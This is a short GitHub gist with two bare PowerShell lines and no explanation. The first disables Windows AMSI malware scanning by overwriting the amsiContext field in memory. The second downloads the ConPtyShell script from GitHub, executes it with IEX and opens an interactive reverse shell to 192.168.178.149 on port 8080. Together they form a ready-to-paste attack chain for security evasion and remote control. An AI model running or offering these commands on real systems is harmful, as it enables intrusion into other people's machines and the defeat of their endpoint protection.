Skip to content

Instantly share code, notes, and snippets.

@michiiii
Created December 17, 2021 19:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save michiiii/fa89fca6e6a8c8779bf3a9dd1d59f3f2 to your computer and use it in GitHub Desktop.
Save michiiii/fa89fca6e6a8c8779bf3a9dd1d59f3f2 to your computer and use it in GitHub Desktop.
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 192.168.178.149 -RemotePort 8080 -Rows 43 -Cols 237
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment